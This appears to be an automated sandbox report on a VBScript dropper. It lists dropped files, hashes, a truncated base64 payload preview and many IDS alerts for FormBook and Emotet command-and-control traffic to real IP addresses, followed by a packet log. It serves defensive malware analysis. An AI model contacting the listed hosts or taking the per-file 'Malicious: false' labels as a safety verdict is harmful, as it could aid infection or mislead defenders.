Size (bytes):	498
Entropy (8bit):	4.220963799226289
Encrypted:	false
SSDEEP:	12:Wni6jtZtFxq8OAkFkyVMVPNft+HzA92oQTj0AmCAMYmgEr:WiErSHVM1NOTjyDMYmTr
MD5:	371A762DB20650DD795210D34000F4D2
SHA1:	CF39E990575AD68DCE8F74BA3EDFBA31468619D3
SHA-256:	A61AC9BC9DBDC35BEA83CFFEF578649FCF318F62A519A329B5A5540C582DE100
SHA-512:	A7588050A2DC1C43F59828769AEAA40CC8D9A10AE2773788E7D1A42759E4271339995BE521E1DDFEE3E1E780111D750E1EC1E6E9FE7D807A5C3CB9AFBDBAFEF1
Malicious:	false
Preview:	gwens exempted kimos telegraferingens omstdendes.gleets improficience samlebaandsarbejdernes trichloroethylene doupioni amatrfotografernes foelelsesladet..gaudier sttyskerne rvejagternes.meningitissens toptiens ripened cocillana tullibee histometabasis gamelike venstrepresser beskyttelser kendelsers..underkursernes emanuella inddm strafansvar skiftingen isflagen,macrodactylous lamslaaedes konditallene supertare alvorstalers heltidsbeskftigelses gospelise bihulerne cubalaya benzindksel fiffig..

C:\Users\user\AppData\Local\Temp\zamindari\Millenarian233\Intermedius.Sta

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	data
Category:	dropped
Size (bytes):	212211
Entropy (8bit):	7.553469024606494
Encrypted:	false
SSDEEP:	3072:WvmeO3thVO+pJUkgwonLdgysRSywzWwFo51lmfHfh5Pc+j2cBE8J4XJE+:WvG3thk+/1ynORSZiwFwu//8e4X/
MD5:	DC1C7CBE79032AC12FE95D7D6CBCA90D
SHA1:	D2C1A0C2736ED0BBED70E8F55640AA3C630D7096
SHA-256:	5F759A3264AB74C9F959D7745F54DC39B2587D634A4DCB4245148C4536062E03
SHA-512:	FAB78218EC7BD8B05E1AEF0FD58CEDE95F20E4670074AC8F923A97F671AA9A7CEEEB834BD5A53F1BB75A678ED7406BF6296E445948536001CF60638F62526C2F
Malicious:	false
Preview:	........................... .....SSS.E....\|\|....>>...444............................................................................................................\|\|.......!....................__..............................ll.....pp..............mm.***.......ee..................;;...................~~~......yy..~~~~~~.W..v.d...................YY.........3..............&&&&........................--...........ww.r.......--..).\|................<...............aa................................WW.....\|.....................f..V...........................................................^^^...........G................. .........u......:.<..........:...........#.....Z....................................(.www......1......................QQQQ........VVV.....""""......................GGG........H......7.......PPPP...............jjjj.....))..H..M.tt..3...........x.......rr.8...33.......UU...I...................S............."""...gg.<<<<<.V................EEE.........kk......>>..............

C:\Users\user\AppData\Local\Temp\zamindari\Millenarian233\Nunneries.sub

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	data
Category:	dropped
Size (bytes):	292960
Entropy (8bit):	1.2562120543510875
Encrypted:	false
SSDEEP:	768:Ata7tm7RWWlp29ZCMz+vsS/zMRb5xH5/z41RAKozj/hBzOsREA8mEs4p/QsO6mGE:iNMh2nK8E90bM+aad
MD5:	8B035F50B7D03E8E3C12C4A7E9EF0416
SHA1:	C40DDFD166A8A2A57DE34C6E6F0EAA737F562523
SHA-256:	0370251F5DD197ECE0EA8A41F159FDDC42D7A1CD91608156DDF57BF7FF6340C1
SHA-512:	51F7301F04A81B9F7341273C6D9AFC942AC1318A63B9C9BEB60389E3C22DC1741DF62AFF2C9986FCA787370CEF6DA2EE4DD062DA8F6436B0095C1872B065D9C3
Malicious:	false
Preview:	.c......................................G....e....................................................................B..............Ys.....v...[...............................................................................................;...........................................y......d...........................................a.........................j...f......<.............................................................h#.C...........%...................................*..................}..................................0..............................................0....v.........U.b....I...........................u.........................................................sP.a........................................................................!...............0................/....U.......Q.......................................7.........o.....................................z...................;........?..?.....{....................w........................................

Static File Info

General

File type:	ASCII text, with very long lines (65489), with CRLF line terminators
Entropy (8bit):	5.57972950050386
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs
File size:	1'168'335 bytes
MD5:	62f8514c35c5abc8a6138ff3029a9af7
SHA1:	9835d6cc79ed8cc63c13171cfd9d87efec7467a0
SHA256:	15c644bdde76746a5798daa41fc25ac5f2a999d1fe6e11b1e47f7b328e7a1722
SHA512:	69e668c8bbeb1a41fd13b43db162d5a8529cd0c01f2e169328577114ab9e87240967e0650cc485274a26e2ee9fb1065363432b26c0c041b9f89569b0e585acff
SSDEEP:	24576:UeSzCyPcxJchNyCz5TsdTMhfkTMZoFU/7UcsKyL5g5:yzE+8Cz5ir5cNya
TLSH:	F145E1A6FF337E86791C41C68E124BCABCA80CBD4451D6E6B49DF5A8304C4B3199EE1D
File Content Preview:	' Initialize the base64 string..Dim base64Str..base64Str = ");;qQ**M****E****//8Lg**************Q******************************************************************************************4******4fug4t**nNIbg..)M0h;;Ghpcy..wcm9n

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-27T08:05:03.914656+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49926	80	192.168.11.20	154.23.184.207
2024-08-27T08:01:05.754850+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49886	80	192.168.11.20	176.57.64.102
2024-08-27T08:03:52.347239+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49905	80	192.168.11.20	23.231.158.3
2024-08-27T08:00:29.943422+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49876	80	192.168.11.20	185.230.15.3
2024-08-27T07:59:06.794690+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49852	80	192.168.11.20	23.231.158.3
2024-08-27T08:00:13.071084+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49871	80	192.168.11.20	154.23.184.207
2024-08-27T08:00:43.272478+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49880	80	192.168.11.20	199.59.243.226
2024-08-27T07:57:27.852650+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49840	443	192.168.11.20	199.103.62.205
2024-08-27T08:00:37.994808+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49878	80	192.168.11.20	199.59.243.226
2024-08-27T07:56:31.449828+0200	TCP	2035065	ET MALWARE W32/Emotet.v4 Checkin Fake 404 Payload Response	1	80	49897	103.247.8.53	192.168.11.20
2024-08-27T07:56:31.449828+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49891	80	192.168.11.20	76.223.54.146
2024-08-27T07:56:31.449828+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49932	80	192.168.11.20	84.32.84.32
2024-08-27T07:56:31.449828+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49934	80	192.168.11.20	84.32.84.32
2024-08-27T07:56:31.449828+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49933	80	192.168.11.20	84.32.84.32
2024-08-27T07:58:24.994150+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49842	80	192.168.11.20	103.247.8.53
2024-08-27T08:00:51.831882+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49882	80	192.168.11.20	85.159.66.93
2024-08-27T07:59:44.637737+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49863	80	192.168.11.20	203.161.46.205
2024-08-27T08:05:17.802841+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49930	80	192.168.11.20	185.230.15.3
2024-08-27T08:04:08.526914+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49910	80	192.168.11.20	172.67.191.241
2024-08-27T08:01:19.172926+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49890	80	192.168.11.20	76.223.54.146
2024-08-27T08:03:55.113825+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49906	80	192.168.11.20	23.231.158.3
2024-08-27T08:05:01.056269+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49925	80	192.168.11.20	154.23.184.207
2024-08-27T07:58:52.502095+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49848	80	192.168.11.20	96.126.123.244
2024-08-27T08:03:35.769154+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49900	80	192.168.11.20	96.126.123.244
2024-08-27T08:01:10.930779+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49888	80	192.168.11.20	176.57.64.102
2024-08-27T07:59:20.337134+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49856	80	192.168.11.20	172.67.191.241
2024-08-27T08:03:16.639680+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49897	80	192.168.11.20	103.247.8.53
2024-08-27T08:04:46.450056+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49921	80	192.168.11.20	18.183.3.45
2024-08-27T07:59:56.100695+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49866	80	192.168.11.20	18.183.3.45
2024-08-27T08:04:32.544955+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49917	80	192.168.11.20	203.161.46.205
2024-08-27T07:59:33.600505+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49860	80	192.168.11.20	172.67.166.145
2024-08-27T07:58:47.168777+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49846	80	192.168.11.20	96.126.123.244
2024-08-27T08:03:41.115882+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49902	80	192.168.11.20	96.126.123.244
2024-08-27T08:04:49.253905+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49922	80	192.168.11.20	18.183.3.45
2024-08-27T08:00:54.579089+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49883	80	192.168.11.20	85.159.66.93
2024-08-27T08:03:38.442062+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49901	80	192.168.11.20	96.126.123.244
2024-08-27T07:59:41.945928+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49862	80	192.168.11.20	203.161.46.205
2024-08-27T08:04:05.899545+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49909	80	192.168.11.20	172.67.191.241
2024-08-27T08:04:29.841545+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49916	80	192.168.11.20	203.161.46.205
2024-08-27T08:04:03.267187+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49908	80	192.168.11.20	172.67.191.241
2024-08-27T07:59:31.128997+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49859	80	192.168.11.20	172.67.166.145
2024-08-27T08:04:58.240454+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49924	80	192.168.11.20	154.23.184.207
2024-08-27T08:00:40.633351+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49879	80	192.168.11.20	199.59.243.226
2024-08-27T07:59:01.196227+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49850	80	192.168.11.20	23.231.158.3
2024-08-27T07:59:04.039854+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49851	80	192.168.11.20	23.231.158.3
2024-08-27T08:00:27.228786+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49875	80	192.168.11.20	185.230.15.3
2024-08-27T08:03:19.345694+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49898	80	192.168.11.20	103.247.8.53
2024-08-27T07:58:28.599071+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49843	80	192.168.11.20	103.247.8.53
2024-08-27T08:04:35.244334+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49918	80	192.168.11.20	203.161.46.205
2024-08-27T08:03:13.760882+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49896	80	192.168.11.20	103.247.8.53
2024-08-27T07:59:17.715231+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49855	80	192.168.11.20	172.67.191.241
2024-08-27T08:00:01.684344+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49868	80	192.168.11.20	18.183.3.45
2024-08-27T07:59:15.080980+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49854	80	192.168.11.20	172.67.191.241
2024-08-27T08:04:43.653288+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49920	80	192.168.11.20	18.183.3.45
2024-08-27T08:00:10.236932+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49870	80	192.168.11.20	154.23.184.207
2024-08-27T07:58:49.833549+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49847	80	192.168.11.20	96.126.123.244
2024-08-27T08:00:57.342683+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49884	80	192.168.11.20	85.159.66.93
2024-08-27T08:04:16.565560+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49912	80	192.168.11.20	172.67.166.145
2024-08-27T08:04:19.188671+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49913	80	192.168.11.20	172.67.166.145
2024-08-27T07:59:28.483073+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49858	80	192.168.11.20	172.67.166.145
2024-08-27T08:00:24.460006+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49874	80	192.168.11.20	185.230.15.3
2024-08-27T08:04:21.679269+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49914	80	192.168.11.20	172.67.166.145
2024-08-27T08:01:24.458065+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49892	80	192.168.11.20	76.223.54.146
2024-08-27T07:59:47.339867+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49864	80	192.168.11.20	203.161.46.205
2024-08-27T08:05:12.296959+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49928	80	192.168.11.20	185.230.15.3
2024-08-27T07:58:30.561454+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49844	80	192.168.11.20	103.247.8.53
2024-08-27T08:00:15.956015+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49872	80	192.168.11.20	154.23.184.207
2024-08-27T08:05:15.074084+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49929	80	192.168.11.20	185.230.15.3
2024-08-27T08:03:49.519118+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49904	80	192.168.11.20	23.231.158.3
2024-08-27T07:59:58.889890+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49867	80	192.168.11.20	18.183.3.45
2024-08-27T08:01:08.416293+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	49887	80	192.168.11.20	176.57.64.102

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 07:57:27.293921947 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.294034958 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.294214010 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.326117039 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.326193094 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.602049112 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.602320910 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.602320910 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.656805992 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.656896114 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.658057928 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.658246994 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.660409927 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.704299927 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.852859974 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.853027105 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.853085041 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.853234053 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.971795082 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.971879005 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.971914053 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.972137928 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.972137928 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.972137928 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.972138882 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.972138882 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.972255945 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.972444057 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.973269939 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.973368883 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.973536015 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.973597050 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:27.973637104 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:27.973850965 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.092734098 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.092844009 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.092926979 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.093276024 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.093333006 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.093660116 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.094077110 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.094171047 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.094261885 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.094391108 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.094428062 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.094574928 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.094857931 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.095355988 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.095441103 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.095520020 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.095710039 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.095710039 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.095710039 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.095760107 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.096118927 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.213634968 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.213660955 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.213845968 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.214020967 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.214020967 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.214044094 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.214210987 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.214359045 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.214384079 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.214520931 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.214700937 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.214714050 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.214880943 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.214880943 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.215229988 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.215251923 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.215415001 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.215595961 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.215610027 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.215786934 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.215835094 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.215886116 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.216088057 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.216097116 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.216392994 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.216550112 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.216638088 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.216661930 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.216818094 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.217015028 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.217034101 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.217211008 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.217242002 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.217497110 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.217525005 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.217657089 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.217838049 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.217859030 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.218157053 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.328094959 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.328140974 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.328448057 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.328448057 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.328480959 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.328656912 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.328855038 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.332425117 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.332472086 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.332592010 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.332801104 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.332802057 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.332840919 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.333058119 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.333163023 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.333195925 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.333316088 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.333316088 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.333316088 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.333364010 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.333544970 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.333544970 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.333568096 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.333736897 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.333834887 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.333875895 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.334017992 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.334198952 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.334223032 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.334393978 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.334393978 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.334464073 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.334495068 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.334579945 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.334662914 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.334680080 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.334749937 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.334933996 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.335253954 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.335300922 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.335416079 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.335597038 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.335618019 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.335889101 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.335908890 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.335925102 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.335988998 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.336062908 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.336303949 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.336328030 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.336483955 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.336822033 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.336863995 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.336997032 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.337045908 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.337063074 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.337225914 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.337611914 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.337652922 CEST	443	49840	199.103.62.205	192.168.11.20
